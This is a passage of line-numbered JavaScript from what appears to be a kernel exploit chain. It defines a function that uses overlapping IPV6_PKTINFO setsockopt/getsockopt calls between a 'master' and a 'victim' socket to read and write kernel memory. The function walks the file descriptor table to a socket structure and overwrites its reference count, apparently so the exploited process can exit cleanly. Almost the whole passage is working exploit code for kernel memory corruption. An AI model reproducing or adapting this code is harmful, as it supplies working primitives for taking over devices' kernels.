(target_fd)
| 1067 | |
| 1068 | // Look for sockets and clean them up |
| 1069 | let inc_socket_refcount = async function(target_fd) { |
| 1070 | if (ofiles_addr == 0) { |
| 1071 | chain.push_write8(write_victim_buf_store.add32(0x00), proc_fd_addr.add32(0x00)); // filedesc->fd_files |
| 1072 | chain.push_write8(write_victim_buf_store.add32(0x08), 0); |
| 1073 | chain.push_write4(write_victim_buf_store.add32(0x10), 0); |
| 1074 | await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_victim_buf_store, 0x14); |
| 1075 | await chain.add_syscall(SYSCALL_GETSOCKOPT, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, read_buf_store, pktinfo_size_store); |
| 1076 | await chain.run(); |
| 1077 | |
| 1078 | ofiles_addr = p.read8(read_buf_store).add32(0x08); |
| 1079 | } |
| 1080 | |
| 1081 | let filedescent_addr = ofiles_addr.add32(target_fd * 0x30); // fdt_ofiles[fd]->fde_file, sizeof(filedescent) = 0x30 |
| 1082 | |
| 1083 | chain.push_write8(write_victim_buf_store.add32(0x00), filedescent_addr.add32(0x00)); // fde_file |
| 1084 | chain.push_write8(write_victim_buf_store.add32(0x08), 0); |
| 1085 | chain.push_write4(write_victim_buf_store.add32(0x10), 0); |
| 1086 | await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_victim_buf_store, 0x14); |
| 1087 | await chain.add_syscall(SYSCALL_GETSOCKOPT, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, read_buf_store, pktinfo_size_store); |
| 1088 | await chain.run(); |
| 1089 | |
| 1090 | let file_addr = p.read8(read_buf_store).add32(0x00); |
| 1091 | |
| 1092 | chain.push_write8(write_victim_buf_store.add32(0x00), file_addr.add32(0x00)); // f_data |
| 1093 | chain.push_write8(write_victim_buf_store.add32(0x08), 0); |
| 1094 | chain.push_write4(write_victim_buf_store.add32(0x10), 0); |
| 1095 | await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_victim_buf_store, 0x14); |
| 1096 | await chain.add_syscall(SYSCALL_GETSOCKOPT, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, read_buf_store, pktinfo_size_store); |
| 1097 | await chain.run(); |
| 1098 | |
| 1099 | let sock_addr = p.read8(read_buf_store).add32(0x00); |
| 1100 | |
| 1101 | chain.push_write8(write_victim_buf_store.add32(0x00), sock_addr); // so_count+so_type |
| 1102 | chain.push_write8(write_victim_buf_store.add32(0x08), 0); |
| 1103 | chain.push_write4(write_victim_buf_store.add32(0x10), 0); |
| 1104 | chain.push_write4(write_buf_store.add32(0x00), 0x100); |
| 1105 | chain.push_write4(write_buf_store.add32(0x04), 0x2); |
| 1106 | chain.push_write8(write_buf_store.add32(0x08), 0); |
| 1107 | chain.push_write4(write_buf_store.add32(0x0C), 0); |
| 1108 | await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_victim_buf_store, 0x14); |
| 1109 | await chain.add_syscall(SYSCALL_SETSOCKOPT, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_buf_store, 0x14); |
| 1110 | await chain.run(); |
| 1111 | } |
| 1112 | |
| 1113 | // Cleanup sockets for clean exit |
| 1114 | await inc_socket_refcount(overlap_sock); |
no test coverage detected